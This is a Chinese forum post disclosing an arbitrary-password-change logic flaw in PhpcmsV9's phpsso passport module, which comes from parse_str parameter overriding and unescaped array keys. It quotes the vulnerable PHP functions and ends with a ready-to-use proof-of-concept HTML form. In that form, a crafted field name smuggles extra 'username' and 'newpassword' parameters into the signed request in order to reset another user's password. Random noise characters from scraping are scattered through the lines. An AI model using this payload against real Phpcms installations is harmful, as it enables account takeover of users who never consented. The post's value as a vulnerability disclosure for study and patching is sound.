找回密码
 立即注册
查看: 2722|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
; ^1 E7 I, H# }1 h( ~$ `% B! V
. l6 D( R3 _1 n  l6 p. I8 T' \3 y' J$ i/ f
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
$ n- G  H; p" x# C/ Q+ G
+ ]3 B4 q, z* D. y& e' v在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
5 o; J: ]) i: I) U
8 S- V( `# m  I: b我把它留给了你们。4 l- G) f& B% u, r
不知道你们发现了它没有。- z0 D9 C+ z5 a1 y( P+ c

; D! j- c. a* O* i& u我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。6 J( s+ e& r- }

( W3 ]+ n! E( z8 ]' j所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。( a3 g4 D* Q+ F2 {* _5 b5 I

' V* ?3 a$ V7 F& d也就是  `4 f" b- ~+ U6 j- V0 |
4 o& N% B9 j$ K7 \
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
- f. L+ a; z7 R7 A& l7 b! _7 P& {2 ~7 r" k" Y0 Z: d; W" |4 a$ p
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。& `3 ^+ X- H$ p8 j& e8 }

9 r8 ]8 }9 `1 n5 r" q! w/ I( j9 l  |1 ^! Z% t, O/ A( B, K
其实我们有这样的机会,看看代码,如下:- R3 x( @+ W8 s! a- Y

+ S: ^/ s% `8 U2 o. v# N3 H; B5 `( e" y  E- z. h
public function auth_data($data) {7 @% g# H# t# p/ ^$ L
                $s = $sep = '';) _. i# [8 A# A% c- F  h
                foreach($data as $k => $v) {
$ c' D. |3 e. i( k7 F/ X) O: n+ z2 a                        if(is_array($v)) {
% ^. i& C7 x5 G5 s% b                                $s2 = $sep2 = '';0 H5 m/ T2 Z2 k( W
                                foreach($v as $k2 => $v2) {
! w% K* t& u$ H: }, U4 h# I" \* L                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
& A  T7 Q6 r# B0 n; z5 H                                        $sep2 = '&';
4 l& _5 l: S! b# W                                }3 Z( ]. I9 t9 Q( S! K$ L: D
                                $s .= $sep.$s2;
- ?+ h# A! p  T3 F; C/ O                        } else {* }5 h+ t! M6 g; D6 r/ y
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);% l- K0 y9 t. r# {
                        }
; V# o" ^# T1 j# N! M  E                        $sep = '&';
" R' a5 o- A+ S, S# w/ G) _8 `  `5 @                }
- D: V# r9 W  T; T+ {# t
' l& ]( L% J8 Y. B) o                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 u! B. C* G. H! ]% J" T8 P                return $auth_s;0 C; @1 N3 x. ?4 w# m
        }9 B0 d3 ~  @0 p: N  r
( m4 ?6 |9 d/ \+ y
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。% I! p, e. a% c9 ^% e+ w+ n  w9 ?

- w9 v: E5 W" s% ]举个例子
- V- E7 Q# y5 |+ m# k) x" k/ l& q( s; q9 u: }/ v
$a[aaa=a&bbb] = 'a';2 v7 ~/ M  B2 b5 Y4 o# X+ Z. }0 U- g

6 b7 \9 h+ ?/ ^3 g  w会变成aaa=a&bbb=a
5 B% ^; b: ^6 O7 J
7 L' X6 Y8 V: _7 t- j- @明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。* u) a4 B- d9 \" ?

9 y6 l# ^5 m( o# ~6 [1 D, E这个时候,我们可以再去看一个函数。
# `% Z& _/ a' h. l* Q6 \7 ]' e) V) f9 \% ?! o( R
就在这个文件内:
6 N! }* R+ q0 D" W0 h4 a$ ]" q; b% v$ u$ H9 A

2 _* I: I" c4 Npublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
& Q9 l/ p. R" U5 g4 e- S                if($email && !$this->_is_email($email)) {+ P+ D0 x& q  k9 s& ^
                        return -4;$ c% x' H( n6 {- W/ F2 s) C2 D4 ~
                }
7 _, L7 u/ E3 @                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));! v* Y8 r0 i$ @- ~; F
        }
% u( u1 x) v. U, N; W; W. t) a2 G1 }; i4 t* `/ [! X
这是向通行证发了这样一个请求。
6 h  u. o) s+ G0 k* |
7 T( N  C) N" x+ \2 p我们再跟到通信证代码里去看看,就会有所发现。$ n1 c7 ~0 \: ^5 N* x2 \. F

4 U" I# G. l# l7 N3 l
  p- x" r# I& Upublic function edit() {
; C6 H; q. ?0 |' y//能省就省,太长了不是吗?9 V9 W/ l6 X0 H* d9 V

$ d4 g% f: N) s5 ^' {* c( q5 Tif($this->username) {
0 `. p1 p& m7 K//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
1 p0 K- Z$ X' Q% j$ Q                                $res = $this->db->update($data, array('username'=>$this->username));# o1 m0 d% x0 \& ?: `0 j7 p* T/ U
                        } else {- [6 L6 Y; J! p6 [
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);* S/ P6 H; j0 W0 a
                                $res = $this->db->update($data, array('uid'=>$this->uid));8 }3 U! ?; J3 g9 v. U5 a
                        }( R3 q4 Z8 x/ N$ Z7 p# ~

, {2 {. u0 d6 b' H0 B( F好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:8 H  y) ~5 n9 M9 @- D7 R
- G* E; H; e4 r3 j
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
( _$ B& D( R" u- g8 F- l5 b- ~( i( Z& s6 D4 |: M  t
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。# S. W7 r- r7 [$ o) G7 Y
# R. c6 C! t" l* Z: H
我当然找到了:8 W3 A' p% g. f
phpcms9/phpcms/modules/member/index.php
8 d" j& ]3 p* `
% X( k( b% y) g" ^' ?9 g! k1 E$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
3 T$ P( M8 X9 E$ h$ k3 N) Q/ a2 G
然后就没有然后了。1 ]2 O( Q) k6 S/ |8 w

  Q* w8 J! Q1 g/ j8 X7 D<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">$ |' d4 x$ q/ Y  K: o$ U% `9 F4 g
                                <table width="100%" cellspacing="0" class="table_form">
* n+ Z, N) q, o$ ^! W# z                                        <tr>
, |3 {9 F) F8 ^, Q                                                <th width="80">邮箱:</th>        
/ [, {- i! }) u5 |/ C& e) S1 S                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>) |7 @0 V! S6 E
                                        </tr>1 w) }5 z; g( m
                                        <tr>
; m8 `' }5 p2 z: c; D                                                <th width="80">原密码:</th>        
1 K  B+ |9 W2 i- t/ g                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
6 n7 G/ A9 N. T* O                                        </tr>( K; v" l" T5 ^  P: X; ?
                                        <tr>/ Q7 B4 F0 E% |+ B' I2 O
                                                <th>新密码:</th>9 {8 |8 y+ t( k- ~+ P
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>5 x0 W) O# C+ ~6 @3 y! P+ i( W
                                        </tr>
9 \' B" e( c6 f1 c4 u                                        <th></th>
7 ?/ W, {3 v3 v6 E, ~, E! u                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>( @* T( ^0 W5 }
                                        </tr>, c6 z& |7 J! l9 l2 n( i8 ~
                                </table>/ l$ ~9 p+ F  r' a; ?: P
& M  l- l* b' y" P
                               
6 O; H% X9 r/ w& B" D! D( f; @' W0 H                        </form>
4 S& ]9 v% Y* h# A# h! K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表